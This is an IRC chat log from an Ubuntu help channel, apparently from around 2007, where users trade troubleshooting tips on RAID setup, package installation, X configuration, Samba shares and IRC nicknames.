chefjoeardeeadaptr: The RAID controllre?04:48
adaptrof cuorse04:48
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Hanselsubzero - http://ubuntuforums.org/showthread.php?t=8397304:48
chefjoeardeeadaptr: http://www.newegg.com/product/product.asp?item=N82E1681512402004:48
hakrzcodenoobcook, you installed the headers for libstdc++, but that does not include the library ssl. each library has it's own development headers.04:48
adaptrI don't really care what hardware your coffeemachine has....04:48
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Hanselcorrupted - apt-get install libstdc04:49
iketurnerlol04:49
michael20laadaptr & Hansel: nope. looking to change the headers and footers of the menu not the entries04:49
noobcookah ok04:49
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adaptrmichael20la: hack the source04:49
noobcookhakrzcode: cant do anything now coz apt get is in use so ill have to wait04:49
gonzochefjoardee > purchase a hardware raid controller, you will not be disappointed04:49
chefjoeardeeI have one04:49
adaptrchefjoeardee: 25 dollars.. no need to look further04:49
chefjoeardeeI cant get it to work.04:49
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hakrzcodenoobcook, ok.04:49
gonzowhat brand?04:49
chefjoeardeehttp://www.newegg.com/product/product.asp?item=N82E1681512402004:50
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adaptrchefjoeardee: do not use the card's crap  - just create a software raid-0 in UBuntu04:50
corruptedcorrupted@corrupted-desktop:~$ sudo  apt-get install libstdc04:50
corruptedPassword:04:50
corruptedReading package lists... Done04:50
corruptedBuilding dependency tree04:50
corruptedReading state information... Done04:50
corruptedE: Couldn't find package libstdc04:50
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adaptr!flood | corrupted04:50
ubotucorrupted: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)04:50
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gonzochefjoardee > that isn't a raid controller04:50
chefjoeardeeadaptr: I guess I could. The card was a gift but... I'd hat eto just throw it away04:50
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corruptedsorry04:50
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chefjoeardeeErr04:50
chefjoeardeeSata controller04:50
chefjoeardeeIt's built into a raid though04:50
gonzochefjoardee > that is a sata controller04:50
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adaptrchefjoeardee: no reason to throw it away - just don't use it as a fake raid solution04:50
gonzoyou need to get a hardware raid controller04:50
Hanselmichael20la, I recommend you google.... :(04:50
adaptrchefjoeardee: "built into a RAID" ? that has no meaning04:51
chefjoeardeegonzo: During boot it goes "Press F4 to configure" and it built a RAID array for me.04:51
corruptedit said its not found04:51
tkoodadoes dapper already have an update for the change to the US DST (daylight savings time change new in 2007) for the US?04:51
katabaticSOMEBODY HELP PLEASE! my problem is that, at boot, it won't automatically get an IP address from the router via DHCP. I have to disable/enable the card in network settings, or type some command to enable it, then it connects. I perhaps did something that caused this, but I can't figure it out!! it worked perfectly before.04:51
adaptrgonzo: he "needs" nothing - please stop spamming04:51
chefjoeardeeadaptr: It had me pick RAID0, RAID5, or RAID10. I built a raid0.04:51
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corruptedE: Couldn't find package libstdc04:51
PORDOcan someone show me how to make my sound cards load in the right order? http://google.com/notebook/public/00221891507267986120/BDUsxIgoQ7p_zw8Ah04:51
adaptrchefjoeardee: believe what you please - 25 dollars does *not* buy you a real hardware RAID solution... 150 dollars *might*, but more likely in the range of 250 plus04:51
hakrzcodecorrupted:  apt-cache search libstdc04:52
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chefjoeardeeadaptr: Okay. So delete the raid and just install like normal?04:52
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magefilei pushed the mouse sensitivity all the way up in system->mouse, but it's still too slow.  can anyone help me make it more sensitive?04:52
chefjoeardeeadaptr: Then setup a software RAID later?04:52
noobcooklol cool ledemente u have bigpond too =D04:52
ledementeHi all.04:52
gonzochefjoardee > http://www.newegg.com/Product/Product.asp?Item=N82E1681610208004:52
ledementeXD04:52
ledementeJust got cable. : )04:52
e1 hello, i tried to use thunderbird awhile ago, and now some emails i had before in my regular email account is only viewable in thunderbird, how do i fix this so i can see my mail in my regular account04:52
adaptrchefjoeardee: the defining characteristic of real hardware RAID is that the system, OS and BIOS *cannot* see the real drive sunderneath - they only see the RAID array04:52
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chefjoeardeegonzo: may have to do that after this.04:52
Hanselkatabatic, I am not sure why it stopped working... as a work around (cheezy but it should do the trick) you can edit your /etc/rc.local and add the command you use to restart the network service in there... it will run at the end of your boot process and hopefully get it going.04:53
corruptedk it pulled all this c++ library v3 @ hakrzcode04:53
theflyingfooldoes anyone know what chipset belkin usb wireless cards use04:53
ledementeI'm having a few issue with 6.10... :(04:53
chefjoeardeeadaptr: Yeah. I thought that's how it should work..04:53
magefilei'm using a powerbook, and the touchpad is ignoring my "tap to click", so if anyone can help with that too, that'd be wonderful04:53
Lam_smartctl -t long reports i have bad sectors on my hard drive, but i booted up from the live cd and ran fsck -f on the drive, and it reports nothing out of the ordinary04:53
gonzocould anyone help me find a decent .wav tag editor?04:53
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adaptrchefjoeardee: yes, delete and just fire up the Ubuntu CD - during the install you will have the option to create LVM/RAID disks.. do so04:53
adaptrgonzo: wav files do not have tags04:53
chefjoeardeeadaptr: Sadly enough, this is my first computer I've ever built. It's going to be a fileserver, got 1TB and all that.04:53
chefjoeardeeadaptr: Okay will do.04:53
Hanselgonzo - google... there are probably tons of options out there.  Linux usually has 8 pkgs to do 1 task that you can choose from.  They should have recommendations out there.04:53
ledementeie, there are funny lines across the screen, and it seems to be freezing a lot - though my VGA card is quite old.04:53
adaptrchefjoeardee: how many drives ?04:53
chefjoeardeeadaptr: 404:53
gonzothanks assclowns04:54
subzero800anyone: I created a modline, i just dont know where to paste it exactly look at this, where do i edit it, (by the way I added those 1280x1024 sections) http://paste.ubuntu-nl.org/1257/04:54
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adaptrchefjoeardee: one free tip: for a fileserver, or any kind of server you don't want to die on you, you DO NOT use RAID-004:54
ledementeAnyway, real issue is: Do I need a port open to be able to send webcam?04:54
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Hanselledemente, most likely.  :)04:54
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chefjoeardeeadaptr: I've got the really important stuff backed up on my main box, my external, and offsite.04:54
gonzochefjoeardee > RAID 5 is your friend04:54
adaptrchefjoeardee: RAID-5 is for you, and unless the card also has 4 physical ports on it, do not use it for all 4 drives04:54
hakrzcodecorrupted, search for glibc.04:54
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ledementeI can't send or receive it, using kopete... Hansel?04:55
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chefjoeardeeadaptr: It's got 4 internal, 4 external04:55
ledementeThat is a yes?04:55
ledementeHm.04:55
adaptrchefjoeardee: a RAID-0 "file server" is an accident waiting to happen04:55
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Hanselledemente - google for the port that kopete uses then open it on your router/firewall.04:55
jadacyrusBeryl is now crashing X after latest edgy updates04:55
ledementeI know what it is already - but thanks.04:55
ledemente({)04:55
chefjoeardeeadaptr: It's mostly for stuff that I dont want to keep on my box. The really important stuff is backed up in three seperate places. I know that much at least04:55
corruptedand glibc should take care of the problem @ hakrz?04:55
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ledementeHope you're not too miffed, BYYYYEEE!04:55
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Oni-Draculaanyone know how to change what audio device a game (UT2K4) uses and what device an audio player (Exaile) uses?04:56
chefjoeardeeadaptr: Appreciate the info. I'm going to go install again. brb. Thanks again.04:56
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adaptrchefjoeardee: set up a simple RAID-5 with LVM; you lose 250GB but you gain pretty much everything04:56
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subzero800anyone: Here is my xorg, where do I put my modline? http://paste.ubuntu-nl.org/1257/04:56
mag_can somebody help me with samba+ACL's ? please !04:56
draeathsubzero800, put the modeline in the MONITOR section04:56
draeathsubzero800, want a peek at my x.org?04:56
subzero800draeth:sure04:57
Hanselline 141 subzero80004:57
subzero800how do i count lines?04:57
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hakrzcodethat is the gnu standard libc. I am not sure what your problem is. But, doing a search for glibc, should find you what you are looking for. glibc, is the base library for everything on your system, even the kernel. It should be installed. maybe you are searching for the development package?04:57
Hanselsubzero - look at the URL you pasted.  :)04:57
Hanselsubzero - it has the line numbers for you...04:57
subzero800Hansel: lol, got it, but how do i paste the modline there?04:57
Hanselon each of those lines with the "1280x1024" "1024x768" just add in the resolution you want.04:57
draeathsubzero800, http://keleus.freeshell.org/xorg.conf04:58
Hanselsubzero800 - get to an xterm and type sudo pico /etc/X11/xorg.conf  (you might want to cp xorg.conf to xorg.conf.backup just incase)04:58
subzero800Hansel: I did...1280x1024...wont show up04:58
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draeathsubzero800, that is working. ignore some of the voodoo about PanelSize and such04:58
corruptedok another question sorry how to i open/install tar.gz04:58
Hanseltar -zxvf file.tar.gz04:58
draeathsubzero800, its a workaround for my craptacular hardware04:58
Hanselthat will decompress it04:58
dabaR!compiling > corrupted04:58
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hakrzcodecorrupted: tar xzf tarball. tar.gz04:59
[BTF] Chm0dhey guys will superkaramba work in gnome even though its mainly for kde?04:59
Lam_am i able to install stuff to the RAM from the live cd?04:59
Lam_via aptget04:59
jadacyrusany Nvidia/edgy users experiencing X crash with beryl after latest xserver-xorg updates?04:59
Hansel[BTF] Chm0d, yes.  So long as you have kde-common installed04:59
[BTF] Chm0dtx Hansel04:59
draeath[BTF] Chm0d, yes. you will have to load the KDE libraries into memory, so more memory usage. But no other problems usually04:59
[BTF] Chm0dumm jadacyrus no04:59
Hansel[BTF] Chm0d, you can run gnome/kde apps in either environment so long as you have the base for each installed04:59
draeath[BTF] Chm0d, the package manager will deal with those files needed04:59
[BTF] Chm0dthx guys much appreciated04:59
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charlie5hi all ... is there a way to have consoles individually remember their 'last commands' history, so that after a reboot, any automatically re-opened consoles retain their own command history ?05:02
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blankyhey guys I know this is off topic but you're all knowing :P How do I change the message in an irc channel?05:03
noobcookHansel: what libs do i need for this program to compile?05:03
blankynoobcook: which one?05:04
oidiablanky:  /topic ?05:04
Hanselblanky - change the message?05:04
blankyit should tell you in the readme, or check ./configure05:04
blankyoidia: OH WOW, I can't believe I forgot05:04
noobcooksip05:04
noobcookit doesnt say in the readme05:04
blankynevermind, thanks Hansel and oidia anyways05:04
blankynoobcook: eres p47?05:04
xconlamebmx05:04
xconseen lately?05:04
blankynoobcook: which one05:04
Hanselcharlie5, cat .bash_history05:04
noobcookah it comes up in configure05:04
Hanselcharlie5, that is just systemwide history for any user05:05
Hanselto have a specific xterm or term remember I dont know how to do... or if its even possible.05:05
steelbaww man, i let ubuntu install the sound drivers for my onboard and there's incredible amount of distortion, what do i doooooo??!!05:05
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noobcookblanky i need ssl, libpq, ibsvn,sap/r3 and ssh2 would it all be on aptget?05:05
corruptedi have the compiler now how do i compile the tar.gz?05:05
Hanselnoobcook - should be.05:05
ataripunksomeone told me a link to reconfigure my screen resolution ... can someone point me to it again05:06
ataripunkthat and probing my video card05:06
Hansel!compile | corrupted05:06
ubotucorrupted: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)05:06
noobcookk05:06
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blankynoobcook: yes, check with sudo apt-cache search <name here>05:07
[BTF] Chm0done more question guys....i must not have my repositories correct cuz synaptic cannot find this dependency Depends: konsole (= 4:3.5.5-0ubuntu3.2)05:07
corruptedanyone know where to find better desktop themes =] 05:07
draeathcorrupted, its a bit complicated, possibly. Extract the tar.gz "tar -xvf file.tar.gz" and then poke around the readme files :)05:07
charlie5Hansel: thanks, that cat command will help ... cheers05:07
blankysudo apt-cache search libpq05:07
blankyfor example05:07
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Hanselcorrupted-  which WM are you using?  gnome? kde? enlightenment? blackbox?  kde.themes.org would be a start...05:07
corruptedgnome05:08
noobcookblanky: do i need everything or justlibssl-dev - SSL development libraries, header files and documentation05:08
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blanky-dev should probably just be required05:08
noobcookk05:08
Hanselcorrupted - http://art.gnome.org/05:09
corruptedty05:09
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noobcookwhos seen the new ipod?05:10
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corruptedits small05:10
corruptedxD05:10
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noobcooknah the one after that05:10
smartmanhi guys05:10
corruptedhmmm05:10
corruptedthe iphone?05:10
noobcookits a phone and an ipod together and a camera05:10
noobcookyeh05:10
leonelipod ?  what's that ?  works with ubuntu ?05:10
noobcooklooks coool huh05:10
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corruptedit is cool05:11
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corruptedi want it05:11
noobcooksame05:11
noobcookonly 700$05:11
noobcookAU05:11
Hanselonly05:11
Hanselhah.05:11
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noobcookAU05:11
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noobcookso 400$ american05:11
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rocketmanhow do I setup ubuntu to use dual monitors?05:11
corruptedcheaper then that05:11
corruptedim american there like 30005:11
noobcookyeh true05:11
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Hanselrocketman, http://www.linuxquestions.org/questions/showthread.php?t=34100305:12
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dabaR!enter05:13
ubotuPlease try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!05:13
craigbass1976900 people.  What's going on in here?05:13
tweeskterim having trouble, i just installed XP on a second har drive (hdd) how do i add that to the grub menu on hda ?05:13
corruptedoh no lol um another question =]  how do you install themes =D05:13
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dabaR!themes > corrupted05:14
subzero800guys, i added the modline, and i added the modes in the correct place, the resolution still wont show up.  what should i do?05:14
dabaRtweeskter: can you reconnect the windows as the first drive, and reinstall grub?05:14
Hanselsubzero800 - did you set it as the first resolution in the list?05:14
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Hanselsubzero800 - if not you have to use a tool to switch between the resolutions.05:14
tweeskteri suppose i could but why cant grub just be on the primary?05:14
corruptedevent not found05:14
subzero800Hansel: yeah05:14
craigbass1976tweeskter, I don't think Windows will like it at all05:15
Hanselsubzero800 - that generally means your monitor doesnt support a resolution that high then.  :(05:15
Hanselsubzero800 - can you pastebin your current config so I can look it over?05:15
tweeskterwhat being on a second hard drive?05:15
sutabiWhen ever I use the package manger I get these error http://dpaste.com/4585/ anyone know how to fix them?05:15
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Hanselsutabi - strange... never seen anything like that.  :x05:16
craigbass1976tweeskter, yes, or maybe it just doesn't like being on a second partition.  I've always installed linux second, until I stopped using windows altogether.  Anyway, Windows doesn't like playing second fiddle05:16
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dabaRtweeskter: grub always installs in the mbr, on the first disk. But windows likes to be the first hd.05:16
tweeskterits on the first partition of that hard drive05:16
tweeskterdabaR ahh.05:17
dabaRlike C05:17
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Hanselsutabi - maybe you just go to an xterm and sudo apt-get upgrade gnome-core and see if it might automagically fix it all?05:17
corruptedhow many think i need to go back to xp =[05:17
tweeskterwhich is funny cause i am in windows now and it lists as C,  so basically switch the hard drives around, then what?05:17
sutabiHansel: i'll give it a try05:17
subzero800Hansel: sure, just so you know i have a 15.4 inch widescreen thats 1280x800, and the external hooked up that's 1280x1024, i dont care what it is on the widescreen05:17
subzero800http://paste.ubuntu-nl.org/1258/05:17
Hairballhi. i'm having trouble mapping a network drive to a lamp box from xp. apparently it's a common problem, but enabling pw encypt didn't change anything. any suggestions?05:18
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[BTF] Chm0dwhat does everyone use in here to burn a .cue image?05:19
Hairballbtf - nero05:19
Hanselsubzero800, in your Section "Screen" that begins on line 136 in that pastebin URL try adding "1024x768" as the last option...05:19
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[BTF] Chm0dthx05:19
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dabaRtweeskter: reinstall grub.05:20
tweeskterto which drive?05:20
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dabaRwith both on, to the mbr05:20
Hansel[BTF] Chm0d, http://www.linuxquestions.org/questions/showthread.php?t=21243505:20
subzero800Hansel: and every line after starting with 143 right?05:20
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HanselSubzero - correct05:21
Hanselsubzero800, as a last resort 1024x768 will work 99.9% of the time incase your monitor cant handle the higher res  :)05:21
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subzero800Hansel: its in 1024x76805:21
Tenri3Hey, folks.05:22
Hanselwell according to your xorg.conf it shouldn't be able to get to 1024x768...05:22
Hanselhey Tenri305:22
darwethHey Tenri3.05:22
Tenri3Hey, um, couple of questions...05:22
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subzero800Hansel: well im in XGL05:22
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sutabiHansel: the same issue, I should I just remove those packages? I tried to upgrade to 6.10 from 6.06 and the gnome didn't work out well and I was force to install KDE instead05:22
Hanselewww.. that changes some things.  :)05:22
Tenri3first of all, my username isn't supposed to be Tenri3, it's supposed to be Tenric.05:22
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darwethTenric is taken by someone else.05:23
Tenri3yeah. me.05:23
Tenri3I registered it.05:23
Hanselsutabi - have you tried removing and reinstalling?  sometimes apt gets a tad confused.05:23
Tenri3and now I can't log on as myself.05:23
Hanselhah.05:23
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Hanselidentity crisis05:23
Tenri3yep.05:23
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seth_Hi people!05:23
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Hanselhi seth_05:24
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darwethHello seth_ !05:24
sutabiHansel: I tried removing those pages it listed... is there a way to remove all of gnome?05:24
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Madm3rlinhi05:24
rikai* [Tenric]  (n=andrew@cpe-70-112-71-82.austin.res.rr.com): gaim05:24
rikai* [Tenri3]  (n=Tenric@cpe-70-112-71-82.austin.res.rr.com): Tenric05:24
rikaiyour gaim is logged into irc.05:24
Madm3rlinare there any games out for PPC05:24
juanoanyone configured Kontact with gmail???05:24
juanocant seem to configure it well05:24
rikaiTenri3, your gaim is logged into irc.05:24
Tenri3I know.05:24
Hanselsutabi - if you remove gnome-base or common or whatever its called it oughta kill the rest05:24
subzero800Hansel: so any ideas?05:24
lakingreat, right when I actually need to burn a data dvd, I get: File image creation failed\n Unknown error ...05:24
Hanselsubzero800 - running out of 'em.  :(  maybe #ubuntu-xgl?05:24
Tenri3I'm using gaim right now.05:25
seth_I was curious if anyone has experience with 6.10 live cd using ATI AIW 9600 and a fancy dell wide screen lcd.  I keep getting Freq out of range05:25
dabaRMadm3rlin: ya, there is mahjong05:25
Tenri3mahjong is fun.05:25
rikaiTenri3, thats why you cant use it. Your gaim is already using it.05:25
rikaiAnyway, afk.05:25
dabaRand tetris05:25
Madm3rlingrr05:25
Tenri3so how do I tell my gaim that I'm me?05:25
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HanselTenri3 - gaim already knows you are you... type /whois tenric05:25
sutabiHansel: its already been removed05:25
dabaRTenri3: ctrl-a, add your account05:25
Tenri3I'm on my Tenric account.05:26
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Tenri3password set up and everything.05:26
Hairballcan someone help me figure out why i can't map a drive in xp to a samba share?05:26
craigbass1976corrupted, what did you decide?  Windows or linux?05:26
Hansel!samba | hairball05:26
Tenri3the /whois Tenric says the account is away05:26
Hairball!samba05:27
juanoanyone configured Kontact with gmail???05:27
juanocant seem to configure it well05:27
Tenri3Samba!05:27
Madm3rlinguys05:27
Hairballerm?05:27
Madm3rlinwhy does ubuntu feel like nubuntu05:27
Hanseljuano - nada... google for gmail pop3 and it oughta have the info.05:27
dabaRjuano: did you ask google?05:27
Madm3rlinlike i didn;t have to do anything to get everything working05:27
Madm3rlinwindows takes more to install05:27
ubotuhairball: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT05:28
ubotusamba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT05:28
HanselMadm3rlin, some distros are like that... if you want to feel like a k-rad 3r33t hax0r then go for gentoo  :)05:28
Madm3rlineh05:28
Madm3rlinive already installed gentoo05:28
Madm3rlinstage 105:28
sutabiHansel: I got the errors to stop, I remoev 'gnome-core' and 'acpid', but now I have no gnome :(05:28
Madm3rlincompile time sucks05:28
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seth_I was curious if anyone has experience with 6.10 live cd using ATI AIW 9600 and a fancy dell wide screen lcd.  I keep getting Freq out of range05:28
sutabiHansel: each time I try to install it the errors just rught back05:28
Hanselsutabi - so now rev up Synaptic or just apt-get install gnome.05:28
Hanselhrrmm...  :(05:28
Hanselseth_ probably your resolution is too high in xorg.conf05:29
juanoHansel: yeah i configured it just like it sais except it wont fetch email and cant send! lol, weird05:29
dabaRsutabi: install ubuntu-desktop to get gnome.05:29
darwethShould I use subpixel smoothing even if my monitor is a CRT?05:29
juanoHansel: funniest thing i can send from thunderbird but cant fetch05:29
darwethFor fonts.05:29
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Hanseljuano - well... to send you will probably have to use your ISPs mailserver... (they usually do that to limit spam)05:29
dabaRsutabi: and x-window-system-core if it does not install it itself.05:29
Tenri3If I removed my Tenric irc account from gaim would that force it to log off?05:29
Hanselbut to receieve the gmail server oughta work.05:29
sc4ttrbrainMadm3rlin, is it take so much time, for compiling? i got 800MHz,and wat to try gentoo but, im afraid it takes years to compile ,lol05:30
juanoHansel: nah, cause in windows it works fine05:30
sutabidabaR: thanks I'll give it a shot :) 1.09 mB >.<05:30
juanoHansel: no need ISP05:30
seth_is there a meaningful way to change that in the live cd?  I want to get edgy installed at least and then tweak ui05:30
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jedrickwhat's the command of apt-get to see the list?05:30
draeathMIRROR PROBLEM UPDATE: webmaster contact address: mirror-admin@anl.gov05:30
seth_thc05:30
Madm3rlinsc4t: HAHAHAHAH05:30
HairballHansel - actually, it's the other way around. i have a share on my lamp box. and i'm trying to map from xp. user/pass keep getting rejected05:30
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Madm3rlindude05:30
Madm3rlin800mhz05:30
Madm3rlindo stage 305:30
draeathas per trying to open a .deb file directly in firefox05:30
Madm3rlincompiling will take u days05:30
draeath"The proxy server received an invalid response from an upstream server."05:30
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sc4ttrbrainlol,i know,thats way i stick to debian05:31
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dabaRseth_: can you boot into a console?05:31
Tenri3be back05:31
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Sir_PenguinHi :D I've currently got my Linux box next to me with a direct wired connection to a NETGEAR DG834G Modem/Wireless AP/Router etc, etc05:32
NsOmNiAcI'm having HELL probing my graphics card anyone care to lend a hand the most I can get it to support is 1024x76805:32
Sir_PenguinHowever, when I try to run "sudo ppoeconf" I get the following:05:32
Madm3rlinsigh05:33
Madm3rlinseriously05:33
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Madm3rlinwhat games support ppc architecture05:33
corruptedhow can i take a folder and add to another05:33
Madm3rlinwhat05:33
corruptedthat only root can access05:33
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draeathMIRROR PROBLEM UPDATE: replace all occurances of us.archive.ubuntu.com with archive.ubuntu.com and it seems to work05:33
Madm3rlinchmod 00005:33
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Sir_PenguinSorry, I scanned 3 interfaces (these were the wlan0, eth0 and eth1) but the Access Concentrator  of your provider did not respond.05:34
Hanselcorrupted, sudo mv dir/ /over/here05:34
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Sir_PenguinI have closed all other network programs but that's still what i get :(05:34
Sir_PenguinAnyone know a fix?05:34
Tenri3wow. that sure didn't work.05:34
Tenri3seriously.  does anyone know how to get my "other" irc accounts to log off?05:35
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Madm3rlindo /quit i like poop05:35
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Hairballten. is your other nick ghosted? if so, kill the ghost05:35
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Madm3rlinoh05:35
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Madm3rlinthought u ment quitting client05:35
Tenri3don't know.05:35
subzero800Hansel: you here?05:35
Tenri3lemme see05:35
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Madm3rlintenri do you mean an irc client05:35
craigbass1976corrupted, I'm not sure, but I think you would jsut make root the owner and only give root rwx permissions to it05:35
Tenri3I have no idea.05:36
TonrenI can no longer open a terminal.  What gives?05:36
TonrenI see the "Opening terminal" thing in my taskbar, hten it disappears05:36
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Tenri3your terminal hates you.05:36
corruptedcraig how would i do that i cant log in as root from start up05:36
NsOmNiAcTenri3: you can always do the following05:36
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NsOmNiAcps aux | grep yourusername05:36
NsOmNiAcfind the processes and kill them05:36
tweeskternow i just gotta figure out why my Xorg is crashing within 3 minutes of logging in ever since irebooted after installing beryl etc (which all worked flawlesslsly last night and today05:37
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Tenri3ah05:37
Tenri3lemme try that05:37
Madm3rlinum05:37
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Madm3rlinso are there any games for PPC05:37
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tweeskteris the nvidia driver in lsmod correct for running an Nvidia card. i switched to a new card yesterday and it worked, now after i rebooted all it does is crash05:38
Tenri3which number is the job ID?05:38
TonrenThat's weird... uh, so, I have this 1 terminal open, using tilda.  If I do ps aux | grep gnome-terminal, the terminals I TRY to open are there, but I can't find them!05:39
TonrenI tried killing them and re-opening and it didn't work.  Same result.05:39
Hairballso who knows why i can't map to a share on my lamp box from xp? and why it won't accept the user/pass?05:39
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Madm3rlinerr05:39
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Madm3rlindo u have samba installed05:40
tweeskterHairball kick the debug level up in swat and look at the log05:40
Hairballlol. yes05:40
corruptedis there a way to give myself full privlages so i wont have to use sudo and i can just add/delete files in the file system05:40
Madm3rlindude05:40
Hairballadded user, added share to smb.conf, enabled pw encrypt, and restarted05:40
Tenri3is there anyway I can tell the server that I'm actually Tenric and give it my password?05:40
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Madm3rlinits a security feature05:40
jedrickcan someone help me.. i got this error when i try to do "sudo apt-get update" -- > http://paste.ubuntu-nl.org/1262/   ... help pls..05:41
Madm3rlintenri305:41
Madm3rlinconnecting to windows shares can be a bitch05:41
Madm3rlinare you on a workgroup or a domain05:41
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joe_cot2Hey, the kernel hangs while loading while trying to install on my new laptop. the last message i get is: ieee1394: Initialized config rom entry 'ip1394'05:41
Tenri3huh?05:41
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corruptedwell craig i like linux and windows i want linux but its hard to understand =[05:42
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corruptedeverything i try to do accept install apache i mess up05:42
Hairballmad - wow. i am on a domain. but i haven't connected to it with samba. thanks!05:43
jedrickcan someone help me.. i got this error when i try to do "sudo apt-get update" -- > http://paste.ubuntu-nl.org/1262/   ... help pls..05:43
craigbass1976corrupted, sorry, I'm yelling at a windows box at another desk...  You could sudo it I think.  I'm not sure without there being a passworded root account.  You might try sudo chown root:root /file/or/folder/name05:44
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sc4ttrbrainjedrick,check wether u have duplicate entry on /etc/apt/sources.list05:44
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sc4ttrbrainjedrick, then try again,or use different mirror05:44
Hairballcorrupted: sudo -s -H  .... that will log you in as root so you don't have to type sudo05:44
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sc4ttrbrainits usual error05:45
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craigbass1976corrupted, you're having trouble like I am, except we're backwards OS wise.  I can't for the life of me remeber where stuff is in Windows and I'm trying to grab this guy's data before I wipe the drive.05:45
user01does anyone use latex in ubuntu/05:45
user01?05:45
corruptedLol criag i am like a geek with windows xD05:45
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craigbass1976corrupted, HAH!  you're getting PMed then05:45
iketurnerI have tried 4 different mirrors they are down05:45
Tenri3latex?05:45
tweeskterwhat is the correct module that should be listed for beryl/xgl to work if you have an nvidia card in lsmod?05:46
user01sorry LaTeX05:46
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Tenri3huh?05:46
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corruptedit wont let me respond to pms05:46
craigbass1976Ahh, you must not have a pass for freenode or something.05:46
user01i changed everything i can think of and it is still giving me a4 paper05:46
craigbass1976Do you have yahoo IM?05:47
corruptedno only msn05:47
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Hairballlatex = virus protection while interfacing other machines??05:47
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gpdi am lacking X after update -- any pointers?05:47
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dstaudtquestion: my ubuntu install is on a USB hard drive (need to keep my internal HD for work separate), occasionally I accidentally unplug the USB drive, and of course the environment goes nuts - is there any way to recover from this?  i.e. remount in r/w?05:48
xXcorruptedXxhmm05:48
xXcorruptedXxim being spammed by notice =[05:48
Tenri3why does certain text online show up as some Eastern font?05:49
craigbass1976corrupted, I'm craigbass76 on msn05:49
xXcorruptedXx@hotmail?05:49
xXcorruptedXx.com or co.uk05:50
joe_cot2is there a way of disabling ieee1394 when loading the kernel?05:50
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Tenri3it's unreadable and I have to copy/paste it to the text program05:50
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Hairballgaming = real world? wtf.05:52
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Dishmophi all05:53
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Tenri3hey05:54
Tenri3so would someone like to answer my question?05:55
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shinobi2my flash drive's table is screwed up, how can i fix it? http://rafb.net/p/qgbwpE58.html05:55
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juano_cant make gmail work with kmail05:56
Tenri3where did all the people who know what they're doing go?05:57
juano_i can connect to the server itll check messages for inbox but it sais no new messages and i have a new message right there insibe the inbox through http weird05:57
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Dishmop@Tenri3, what's your question?05:58
kupesoftWhere can I read more about creating chroot "jails" for users?05:58
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seth_is there a way to get to console from booting live cd?05:58
Rookie-1!rootjail05:58
ubotuSorry, I don't know anything about rootjail - try searching on http://bots.ubuntulinux.nl/factoids.cgi05:58
Rookie-1!rootjails05:58
kupesoftI have a multi-user environment and I want them each in their own chroot jail when logged in via ssh05:58
ubotuSorry, I don't know anything about rootjails - try searching on http://bots.ubuntulinux.nl/factoids.cgi05:58
seth_like alt enter?05:58
mataks_i need help i can't play music on xmms? why is that?05:58
Tenri3Ajmorris: a certain type of text on webpages shows up as some weird Eastern font05:59
Ajmorris@Seth you mean once your in the live cd?05:59
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Tenri3Ajmorris: I don't know what type of text this is05:59
newbie88hello all,05:59
seth_@Ajmorris yes05:59
Tenri3ney05:59
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Tenri3hey05:59
seth_although I cant see the ui do to vga issues05:59
newbie88I has some problem with firefox in ubuntu.05:59
AjmorrisTenri3: it is probably a windows specific font06:00
seth_so im hoping i can drop to full screen and then do the install06:00
Tenri3yeah, but it wasn't doing it before06:00
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mataks_i need help i can't play music on xmms? why is that?06:00
newbie88I can't open url http://www.image-asia.com:2095 I try on Windows Xp system it's working fine.06:00
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music_ok06:01
music_i shouldnt drop any more06:01
Ajmorris@Seth it's called terminal from System Tools06:01
Tenri3Ajmorris: yeah, but it wasn't doing it begore06:01
Tenri3*before06:01
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music_can any ping me06:01
seth_@Ajmorris i just cant see anything due to freq out of range on my monitor06:01
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mataks_i need help.. i can't play songs on xmms.. help anyone pls.. im just a newie06:02
Ajmorris@seth oh.06:02
music_mataks_; what format?06:02
Rookie-1!mp306:02
ubotuFor multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats06:02
seth_mataks: mp3 files?06:02
mataks_mp306:02
mataks_yes06:02
mataks_i just installed xmms and it won't play06:03
music_mataks_; you need reinstalling06:03
seth_mataks_: did u install automatix?06:03
mataks_i install through apt-get install06:03
newbie88who you know why firefox can't open website another port such as port 2095.06:03
Ajmorrisis everyone aware of the www.ubuntuforums.org ? They are very active and can answer your questions almost as quickly as irc :)06:03
music_ok my connection so far is good06:03
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music_i think i might go back in ubuntu06:04
music_i just got everying trouple shooted06:04
mataks_how to remove installed programs?06:04
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MooseWould ubuntu be alright for a new Linux user?06:04
music_sudo apt-get remove xmms06:04
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mataks_music_, ok thnx06:05
music_Moose the best06:05
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PORDOhow can i restart alsa?06:05
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music_Moose; its the most friendly using06:05
mataks_what is moose?06:05
xXcorruptedXxanyone know where glibc needs to be unziped to?06:06
music_mataks_; its a name in this channel06:06
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lupine_85erm. anyone here know how to get the network device working in qemu ?06:06
mataks_hehe oh ok :)06:06
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AjmorrisPORDO: go to system > Administration > System Monitor and restart the service from there06:06
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Zealot87so yeah...big problem, i restarted x and now it says "i've detected a panel already running and i will exit" and now i don't have my gnome panels at all! :(06:07
madkI am new to ubuntu and am setting up the static ip address in the network interface and the I cannot save the conf file does anyone know how?06:07
music_BRB EVERYONE06:07
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smartmanhi guys i have asmall problim thir is any one can help me ?06:07
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smartmanthat is about the sounde buit on the internet06:07
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Ajmorris<madk> need to be root06:07
madkI am logged is a sudo root06:07
Jmh0403Hey everyone, I'm just starting out on Linux and it feels great. I've looked at many tutorials and howtos but I can't find out how to open a directory from the terminal into x.06:07
Jmh0403Is there a command for this?06:08
smartmani was watching avideoclip it's working without any problimes but the sounde doesn't work06:08
lupine_85Jmh0403: nautilus /path/to/directory ?06:08
PORDOAjmorris i think you're talking about restarting esd.06:08
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smartmanbut if i plyed any song it workiong06:08
